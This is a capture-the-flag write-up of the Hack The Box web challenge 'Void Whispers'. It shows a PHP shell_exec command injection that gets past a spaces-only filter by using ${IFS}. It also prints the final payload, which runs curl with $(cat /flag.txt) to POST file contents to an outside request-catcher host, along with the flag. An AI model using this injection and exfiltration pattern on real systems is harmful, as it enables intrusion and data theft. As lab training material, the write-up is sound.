Void Whispers is a very easy web challenge created by Xclow3n on Hack The Box. In order to solve it you will need some web and Linux skills. Hello world, welcome to haxez where today I’m looking at Void Whispers. Admittedly, I found the problem from the source code quite quickly but didn’t have a clue how to exploit it.
Void Whispers Application Enumeration
Upon initially navigating to the application, it was fairly obvious where the exploit was going to be. The application takes certain parameters and then appear to update a configuration file somewhere. However, the thing that instantly caught my eye was the path to the send mail binary.
My initial thought was to specify the binary. Then, perhaps I could use the other input fields to specify the command. As a result, I attempted to specify the path to bash and run simple commands like whoami and ls. Neither of them worked, despite how I input the values. I also attempted to active scan the page using Zap but it didn’t find anything.
Source Code Analysis
I’m not great at programming, in fact, I’m dreadful at it. I was surprised that I immediately knew where the vulnerability was as soon as I saw it. Ok, I sort of knew where the vulnerability was. I was right about the location but wrong about the problem. This issue can be found in the IndexController.php file on line 40. As you can see, the output of shell_exec is being passed to the $whichOutput variable.
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
Now, I initially thought that the vulnerability was going to be due to code not using the absolute path. However, that quickly passed as that would make no sense for the current context. We wouldn’t be able to create our own binary called which.
Void Whispers Exploitation
I am happy to have identified that the code looked like it was an issue. However, the issue was more to do with validation. As you can see from the highlighted code below, the code only validates to see whether there are any spaces. So, provided we can fool it in to accepting spaces, we should be able to append any other command.
Fortunately, Bash has something called an Internal Field Separator or IFS which is exactly what it sounds like. It is a separator or a space. However, this is where I ran into more problems. I tried several commands, but the output of those commands was not returned in the response. This is why Zap did not find the command execution.
Exfiltrating The Data
This type of blind exploit is where I tend to have trouble. If the application does not scream at me that it is vulnerability, then I start to think I am completely wrong and should move on to something else. It is the same with blind SQL injection, blind XSS and any other blind exploit. It is like trying to navigate a maze in complete darkness. This is where the try harder mindset comes in. Anywhere there is this useful application called request catcher that allows you to send request to it. By appending a curl command and cat command to the send mail binary bath we can POST the flag to request catcher.
/usr/bin/curl;curl${IFS}-X${IFS}POST${IFS}heapbytes.requestcatcher.com/test${IFS}-d${IFS}"$(cat${IFS}/flag.txt)"
HTB{c0mm4nd_1nj3ct1on_15_3457_t0_f1nD!}Void Whispers Learnings
So, for once I can say that finding the exploit was fairly simple. I was surprised that I was able to spot it easily. I am not sure if its because I have worked with PHP previously and was more comfortable reading it. Honestly, it was because shell_exec immediately set of alarm bells as shell is bad right? So that part was not too bad but trying to find a way to exploit it was difficult for me. With that said, I had a lot of fun but have realised that I am out of practise and need to start drilling again.